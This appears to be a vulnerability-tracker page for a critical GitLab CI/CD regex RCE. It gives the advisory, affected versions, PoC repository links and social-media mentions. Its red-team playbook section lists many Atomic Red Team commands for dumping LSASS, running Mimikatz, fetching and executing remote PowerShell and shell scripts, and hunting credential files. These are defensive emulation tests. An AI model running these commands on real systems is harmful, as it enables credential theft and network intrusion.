CVE-2026-97229
Overview
This vulnerability is a remote code execution flaw caused by insufficient validation of regular expressions within GitLab's CI/CD configuration parsing. Specifically, the issue arises from improper sanitization of user-supplied regular expressions, allowing crafted patterns to bypass validation checks. The affected component is the GitLab CI/CD pipeline configuration parser, which processes these regular expressions during job execution setup.
Vulnerability Description
GitLab has remediated an issue in GitLab CE/EE affecting all versions from 19.2 before 19.2.8, 19.3 before 19.3.5, and 19.4 before 19.4.2 that, under certain conditions, could have allowed an unauthenticated user to execute arbitrary code on the GitLab server via a specially crafted regular expression in a CI/CD configuration, due to insufficient regular expression validation.
Impact
An attacker without any authentication or user interaction can execute arbitrary code on the GitLab server hosting the CI/CD pipelines. This allows full compromise of the server environment, including access to sensitive data, modification or deletion of repositories, and potential lateral movement within the network. The vulnerability enables complete takeover of the affected GitLab instance, severely impacting confidentiality, integrity, and availability of the development infrastructure.
Solution
GitLab has released fixed versions 19.2.8, 19.3.5, and 19.4.2 that address this vulnerability by improving regular expression validation in the CI/CD configuration parser. Users should upgrade affected GitLab CE/EE instances to these versions or later immediately. Detailed patch instructions and advisory information are available at the official GitLab issue tracker and HackerOne reports linked in the vendor's security advisory.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (6)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Gitlab | Gitlab | All |
cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*
|
|
|
Gitlab | Gitlab | All |
cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*
|
|
|
Gitlab | Gitlab | All |
cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*
|
|
|
Gitlab | Gitlab | All |
cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*
|
|
|
Gitlab | Gitlab | All |
cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*
|
|
|
Gitlab | Gitlab | All |
cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (3)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
jburgess-r7/CVE-2026-97229-PoC
GitLab CI lint integer-overflow RCE PoC for CVE-2026-97229, validated against the official 19.4.1 CE amd64 image
|
jburgess-r7 | 63 | 9 | 2026-10-13 | View |
|
AmpedWasTaken/CVE-2026-97229-GitLab-CI-CD-Regex-Compiler-RCE
CVE-2026-97229 — GitLab CI/CD Regex Compiler RCE
|
AmpedWasTaken | 0 | 1 | 2026-10-13 | View |
|
gandli/cve-2026-97229-lab
CVE-2026-97229 GitLab CI lint regex integer overflow RCE — InstaBox version matrix reproduction & libruby gadget reverse...
|
gandli | 0 | 0 | 2026-10-17 | View |
Threat Feed
10 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
Sighting activity recorded
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Deployed role: Linux · Web Server
Kill chain derived from the ML classifier. Pick the target OS above to see the OS-specific path and matching playbook.
Attack Vectors ML
MITRE ATT&CK Techniques (10)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-92 | Forced Integer Overflow |
84%
|
High | High |
Red Team Playbook
124 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
"#{procdump_exe}" -accepteula -mm lsass.exe #{output_file}
$exePath = resolve-path "$env:ProgramFiles\dotnet\shared\Microsoft.NETCore.App\5*\createdump.exe"
& "$exePath" -u -f $env:Temp\dotnet-lsass.dmp (Get-Process lsass).id
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe --silent-process-exit "#{output_folder}"
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe -w "%temp%\nanodump.dmp"
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
try{ IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1003.001/src/Out-Minidump.ps1' -UseBasicParsing) -ErrorAction Stop}
catch{ $_; exit $_.Exception.Response.StatusCode.Value__}
get-process lsass | Out-Minidump
"#{procdump_exe}" -accepteula -ma lsass.exe #{output_file}
C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\lsass-comsvcs.dmp full
"#{dumpert_exe}"
#{xordump_exe} -out #{output_file} -x 0x41
if (Test-Path -Path "$env:SystemRoot\System32\rdrleakdiag.exe") {
$binary_path = "$env:SystemRoot\System32\rdrleakdiag.exe"
} elseif (Test-Path -Path "$env:SystemRoot\SysWOW64\rdrleakdiag.exe") {
$binary_path = "$env:SystemRoot\SysWOW64\rdrleakdiag.exe"
} else {
$binary_path = "File not found"
exit 1
}
$lsass_pid = get-process lsass |select -expand id
if (-not (Test-Path -Path"$env:TEMP\t1003.001-13-rdrleakdiag")) {New-Item -ItemType Directory -Path $env:TEMP\t1003.001-13-rdrleakdiag -Force}
write-host $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
& $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
Write-Host "Minidump file, minidump_$lsass_pid.dmp can be found inside $env:TEMP\t1003.001-13-rdrleakdiag directory."
"#{venv_path}\Scripts\pypykatz" live lsa
#{mimikatz_exe} "sekurlsa::minidump #{input_file}" "sekurlsa::logonpasswords full" exit
IEX (New-Object Net.WebClient).DownloadString('#{remote_script}'); Invoke-Mimikatz -DumpCreds
"#{psexec_exe}" #{remote_host} -accepteula -c #{command_path}
cmd.exe /Q /c #{command_to_execute} 1> \\127.0.0.1\ADMIN$\#{output_file} 2>&1
New-PSDrive -name #{map_name} -psprovider filesystem -root \\#{computer_name}\#{share_name}
cmd.exe /c "net use \\#{computer_name}\#{share_name} #{password} /u:#{user_name}"
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
# creating a custom nslookup function that will indeed call nslookup but forces the result to be "whoami"
# this would not be part of a real attack but helpful for this simulation
function nslookup { &"$env:windir\system32\nslookup.exe" @args | Out-Null; @("","whoami")}
powershell .(nslookup -q=txt example.com 8.8.8.8)[-1]
Powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/a0dfca7056ef20295b156b8207480dc2465f94c3/Invoke-AppPathBypass.ps1'); Invoke-AppPathBypass -Payload 'C:\Windows\System32\cmd.exe'"
Import-Module "#{mimpath}"
Invoke-Mimikatz -DumpCreds
$url='https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1';$wshell=New-Object -ComObject WScript.Shell;$reg='HKCU:\Software\Microsoft\Notepad';$app='Notepad';$props=(Get-ItemProperty $reg);[Void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');@(@('iWindowPosY',([String]([System.Windows.Forms.Screen]::AllScreens)).Split('}')[0].Split('=')[5]),@('StatusBar',0))|ForEach{SP $reg (Item Variable:_).Value[0] (Variable _).Value[1]};$curpid=$wshell.Exec($app).ProcessID;While(!($title=GPS|?{(Item Variable:_).Value.id-ieq$curpid}|ForEach{(Variable _).Value.MainWindowTitle})){Start-Sleep -Milliseconds 500};While(!$wshell.AppActivate($title)){Start-Sleep -Milliseconds 500};$wshell.SendKeys('^o');Start-Sleep -Milliseconds 500;@($url,(' '*1000),'~')|ForEach{$wshell.SendKeys((Variable _).Value)};$res=$Null;While($res.Length -lt 2){[Windows.Forms.Clipboard]::Clear();@('^a','^c')|ForEach{$wshell.SendKeys((Item Variable:_).Value)};Start-Sleep -Milliseconds 500;$res=([Windows.Forms.Clipboard]::GetText())};[Windows.Forms.Clipboard]::Clear();@('%f','x')|ForEach{$wshell.SendKeys((Variable _).Value)};If(GPS|?{(Item Variable:_).Value.id-ieq$curpid}){@('{TAB}','~')|ForEach{$wshell.SendKeys((Item Variable:_).Value)}};@('iWindowPosDY','iWindowPosDX','iWindowPosY','iWindowPosX','StatusBar')|ForEach{SP $reg (Item Variable:_).Value $props.((Variable _).Value)};IEX($res);invoke-mimikatz -dumpcr
Add-Content -Path #{ads_file} -Value 'Write-Host "Stream Data Executed"' -Stream 'streamCommand'
$streamcommand = Get-Content -Path #{ads_file} -Stream 'streamcommand'
Invoke-Expression $streamcommand
powershell.exe -e #{obfuscated_code}
# Encoded payload in next command is the following "Set-Content -path "$env:SystemRoot/Temp/art-marker.txt" -value "Hello from the Atomic Red Team""
reg.exe add "HKEY_CURRENT_USER\Software\Classes\AtomicRedTeam" /v ART /t REG_SZ /d "U2V0LUNvbnRlbnQgLXBhdGggIiRlbnY6U3lzdGVtUm9vdC9UZW1wL2FydC1tYXJrZXIudHh0IiAtdmFsdWUgIkhlbGxvIGZyb20gdGhlIEF0b21pYyBSZWQgVGVhbSI=" /f
iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\AtomicRedTeam').ART)))
$malcmdlets = #{Malicious_cmdlets}
foreach ($cmdlets in $malcmdlets) {
"function $cmdlets { Write-Host Pretending to invoke $cmdlets }"}
foreach ($cmdlets in $malcmdlets) {
$cmdlets}
New-PSSession -ComputerName #{hostname_to_connect}
Test-Connection $env:COMPUTERNAME
Set-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use -Value "T1086 PowerShell Session Creation and Use"
Get-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
Remove-Item -Force $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
iex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)
Invoke-AllChecks
powershell.exe -exec bypass -noprofile "$comMsXml=New-Object -ComObject MsXml2.ServerXmlHttp;$comMsXml.Open('GET','#{url}',$False);$comMsXml.Send();IEX $comMsXml.ResponseText"
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -noprofile "$Xml = (New-Object System.Xml.XmlDocument);$Xml.Load('#{url}');$Xml.command.a.execute | IEX"
C:\Windows\system32\cmd.exe /c "mshta.exe javascript:a=GetObject('script:#{url}').Exec();close()"
import-module "PathToAtomicsFolder\..\ExternalPayloads\SharpHound.ps1"
try { Invoke-BloodHound -OutputDirectory $env:Temp }
catch { $_; exit $_.Exception.HResult}
Start-Sleep 5
write-host "Remote download of SharpHound.ps1 into memory, followed by execution of the script" -ForegroundColor Cyan
IEX (New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/804503962b6dc554ad7d324cfa7f2b4a566a14e2/Ingestors/SharpHound.ps1');
Invoke-BloodHound -OutputDirectory $env:Temp
Start-Sleep 5
#{soaphound_path} --user $(#{user})@$(#{domain}) --password #{password} --dc #{dc} --buildcache --cachefilename #{cachefilename}
#{soaphound_path} --user #{user} --password #{password} --domain #{domain} --dc #{dc} --bhdump --cachefilename #{cachefilename} --outputdirectory #{outputdirectory}
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
ldapdomaindump -u #{username} -p #{password} #{target_ip} -o /tmp/T1087
ldapsearch -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{user} -w #{password} -b "CN=Users,DC=#{domain},DC=#{top_level_domain}" -s sub -a always -z 1000 dn
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc admincountdmp #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc exchaddresses #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -f (objectcategory=person) #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -default -s base lockoutduration lockoutthreshold lockoutobservationwindow maxpwdage minpwdage minpwdlength pwdhistorylength pwdproperties
Invoke-Expression "#{adrecon_path}"
([adsisearcher]"objectcategory=user").FindAll(); ([adsisearcher]"objectcategory=user").FindOne()
csvde -f users.csv -r "(&(objectClass=user)(objectCategory=person))" -l "DN,sAMAccountName,userPrincipalName,mail,displayName,description,memberOf"
Get-ADObject -LDAPFilter '(UserAccountControl:1.2.840.113556.1.4.803:=#{uac_prop})' -Server #{domain}
net user administrator /domain
(([adsisearcher]'(objectcategory=organizationalunit)').FindAll()).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] OU Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
(([adsisearcher]'').SearchRooT).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] Domain Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
net user /domain
net group /domain
net user /domain
get-localgroupmember -group Users
get-aduser -filter *
query user /SERVER:#{computer_name}
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainUser -verbose
cd "PathToAtomicsFolder\..\ExternalPayloads"
.\kerbrute.exe userenum -d #{Domain} --dc #{DomainController} "PathToAtomicsFolder\..\ExternalPayloads\username.txt"
Get-ADComputer #{hostname} -Properties *
Get-adcomputer -SearchScope subtree -filter "name -like '*'" -Properties *
Get-ADComputer #{hostname} -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" *
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
$target = $env:LOGONSERVER
$target = $target.Trim("\\")
$IpAddress = [System.Net.Dns]::GetHostAddresses($target) | select IPAddressToString -ExpandProperty IPAddressToString
wmic.exe /node:$IpAddress process call create 'wevtutil epl Security C:\\ntlmusers.evtx /q:\"Event[System[(EventID=4776)]]"'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
generaldomaininfo -noninteractive -consoleoutput
xcopy /I /Y "#{web_shells}" #{web_shell_path}
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
Mentions (50)
31 mentions from 28 sources in the last 7 days BuzzFactor 91 / 100
-
social bsky.app @tishisaka.bsky.social 2026-10-23 10:28 UTCRegexp compilation fixes related to GitLab's CVE-2026-89078, CVE-2026-93577, CVE-2026-97229 and CVE-2026-110264 | Ruby www.ruby-lang.org/en/news/2026...Open source
-
social bsky.app @nillpo.bsky.social 2026-10-23 09:52 UTC"Regexp compilation fixes related to GitLab's CVE-2026-89078, CVE-2026-93577, CVE-2026-97229 and CVE-2026-110264 | Ruby" www.ruby-lang.org/en/news/2026...Open source
-
social bsky.app @tech-trending.bsky.social 2026-10-23 08:10 UTCRegexp compilation fixes related to GitLab's CVE-2026-89078, CVE-2026-93577, CVE-2026-97229 and CVE-2026-110264 | Ruby https://www.ruby-lang.org/en/news/2026/10/23/regexp-fixes-for-gitlab-cves/Open source
-
social bsky.app @wojak7537.bsky.social 2026-10-23 06:57 UTCRuby 4.0.9, 3.4.12 and 3.3.13 fix Onigmo regexp compilation bugs behind GitLab's CVE-2026-89078, CVE-2026-93577, CVE-2026-97229 and CVE-2026-110264, which GitLab found could enable remote code execution. https://agxsearch.ai/t/gxg2czOpen source
-
social bsky.app @connorshea.bsky.social 2026-10-23 04:59 UTCRuby not being left out of the party this week www.ruby-lang.org/en/news/2026...Open source
-
social bsky.app @k0kubun.com 2026-10-23 04:48 UTCWe released Ruby 4.0.9, 3.4.12, and 3.3.13, and published an announcement about Regexp compilation fixes. www.ruby-lang.org/en/news/2026... If your application compiles a regular expression from an untrusted string, please update your Ruby…Open source
-
social bsky.app @puppy.arky.dog 2026-10-22 23:48 UTCIt’s also (IMO) super misdirected! Look at any language runtime written in a memory-unsafe language like C and you’ll find a bunch of bugs that lead to RCE. We’ve just seen that with GitLab and Ruby: www.rapid7.com/blog/post/ra... People w…Open source
-
social bsky.app @panozzaj.com 2026-10-22 19:58 UTCRapid7 Analysis: GitLab CI/CD Regex Integer Overflow (CVE-2026-97229) www.rapid7.com/blog/post/ra... Deep technical explanation. I feel like understanding every aspect of this would be like a few weeks at least of an undergrad CS course.Open source
-
social bsky.app @yasna.io 2026-10-22 14:20 UTCGitLab patched a critical CVE-2026-97229 flaw allowing unauthenticated code execution on servers, affecting versions since 2014 and requiring urgent updates. #Flaw #Patch #infosec Full synthesis & sources: yasna.ioOpen source
-
social mastodon.social @gertvdijk 2026-10-22 09:19 UTCGitLab security fixes are really next level. 19.4.2: CVE-2026-97229 - Integer Overflow issue in CI/CD Regular Expression CompilerThanks joaxcar for reporting [...]. ... **nine days** pass by ... 19.4.3: CVE-2026-110264 - Integer Overflow i…Open source
-
news t.co 2026-10-22 08:49 UTCGitLab Fixes Critical Unauthenticated Code-Execution Flaw Affecting Releases Since 2014 · cyber.hendryadrian.com - Howl.linkOpen source
-
social bsky.app @securitycyebruk.bsky.social 2026-10-22 07:39 UTCThen PHP: PHP2Shell CVE-2026-109618/109619, RCE across PHP 5.4–8.5.x. Then Oracle: out-of-band CVE-2026-91403, a critical Java SE/TLS flaw. CI/CD, web, runtime — three doors open. GitLab advisory: rapid7.com/blog/post/etr-cve-2026-97229Open source
-
social bsky.app @securitycyebruk.bsky.social 2026-10-22 07:39 UTCMorning triage, defenders. Three criticals open across your stack — patch in order. GitLab first: CVE-2026-97229, CVSS 10.0 unauth RCE in the CI/CD regex compiler, self-managed 19.2/19.3/19.4. The 10.0 can't wait. PHP and Oracle Java next 👇Open source
-
news secnews.gr 2026-10-21 22:29 UTCCVE-2026-110264: GitLab fixes critical vulnerability - SecNews.grOpen source
-
social bsky.app @newssecia.bsky.social 2026-10-21 20:09 UTC🤖 CVE-2026-97229 (CVSS 10.0): integer overflow in GitLab's CI/CD regex compiler → RCE on self-managed instances. Oct 21 fix covers all versions back to 7.0; Oct 12 patch covered only 19.2+. Public PoC out. https://thehackernews.com/2026/10…Open source
-
social infosec.exchange @cloud 2026-10-21 20:08 UTC🤖 CVE-2026-97229 (CVSS 10.0): integer overflow in GitLab's CI/CD regex compiler allows code execution on self-managed servers. The Oct 12 patch only covered 19.2+; the Oct 21 release fixes every version back to 7.0 (2014). Public PoC exist…Open source
-
news thehackernews.com 2026-10-21 18:57 UTCCritical GitLab Flaw (CVSS 10.0) Could Allow Unauthenticated RCE Across 12 Years of Releases - The Hacker NewsOpen source
-
advisory rapid7.com 2026-10-21 15:24 UTCCVE-2026-109618 and CVE-2026-109619: Critical Unauthenticated Remote Code Execution in PHP - Rapid7Open source
-
social bsky.app @crawler.baldanders.info 2026-10-21 09:40 UTC> Weekly Report: GitLabに複数の脆弱性 https://www.jpcert.or.jp/wr/2026/wr261021.html#21Open source
-
social bsky.app @cyberveille-ch.bsky.social 2026-10-19 18:00 UTC📢 GitLab corrige une faille RCE critique dans le compilateur de regex CI/CD (CVE-2026-97229) 📰 Source : BleepingComputer — Date : 12 octobre 2026 GitLab a publié un avis de sécurité urgent concernant CVE-2026-97229, une vulnérabilité de… 🟡…Open source
-
advisory rapid7.com 2026-10-19 14:38 UTCCVE-2026-102764: Critical BeyondTrust Remote Support Authentication Bypass Exploited in the Wild - Rapid7Open source
-
social bsky.app @tellerstech.bsky.social 2026-10-18 21:58 UTCGitLab CVE-2026-97229 Lets Unauthenticated Attackers Run Code #gitlab #cybersecurity #devops #sre This is a clip from our recent Ship It Weekly Podcast episode. Visit https://shipitweekly.fm or link in bio to listen to the full episode!Open source
-
social bsky.app @packetstorm.bsky.social 2026-10-18 17:23 UTCRapid7 Analysis: GitLab CI/CD Regex Integer Overflow (CVE-2026-97229) https://packetstorm.news/news/view/45749 #newsOpen source
-
code github.com gandli 2026-10-17 18:03 UTCgandli/cve-2026-97229-labOpen source
-
social bsky.app @hendryadrian.bsky.social 2026-10-17 11:36 UTCRapid7 demonstrated command execution as GitLab’s git account via CVE-2026-97229. The exploit requires a malicious configuration and path in a public project; GitLab patched affected releases, and no in-the-wild exploitation was reported a…Open source
-
social bsky.app @redoracle.com 2026-10-17 04:39 UTCPoC Exploit Released for Critical GitLab RCE Vulnerability (CVE-2026-97229) https://redoracle.com/News/poc-exploit-released-for-critical-gitlab-rce-vulnerability-cve-2026.html #gitlab #compiler #vulnerabilityOpen source
-
